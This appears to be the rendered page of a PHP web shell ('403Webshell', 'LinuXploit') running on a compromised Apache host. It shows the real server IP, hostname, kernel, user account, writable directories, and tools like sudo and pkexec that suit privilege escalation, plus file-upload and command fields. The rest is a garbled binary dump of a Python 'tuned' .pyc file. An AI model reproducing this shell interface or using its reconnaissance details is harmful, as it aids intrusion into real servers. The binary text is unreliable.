403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/tuned/profiles/functions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/tuned/profiles/functions/__pycache__/function_assertion.cpython-36.pyc
3

��c��@sTddlZddlZddlmZddlmZddlmZej	j
�ZGdd�dej�Z
dS)�N�)�base)�commands)�InvalidProfileExceptioncs,eZdZdZ�fdd�Z�fdd�Z�ZS)�	assertionz�
	Assertion: compares argument 2 with argument 3. If they don't match
	it logs text from argument 1 and  throws InvalidProfileException. This
	exception will abort profile loading.
	cstt|�jddd�dS)Nr�)�superr�__init__)�self)�	__class__��(/usr/lib/python3.6/function_assertion.pyr	szassertion.__init__csXtt|�j|�sdS|d|dkrTtjd|d|d|df�td|d��dS)Nr�z#assertion '%s' failed: '%s' != '%s'rzAssertion '%s' failed.)rr�execute�log�errorr)r
�args)rrr
rs zassertion.execute)�__name__�
__module__�__qualname__�__doc__r	r�
__classcell__rr)rr
r	sr)�osZ
tuned.logsZtuned�rZtuned.utils.commandsrZtuned.profiles.exceptionsrZlogs�getrZFunctionrrrrr
�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit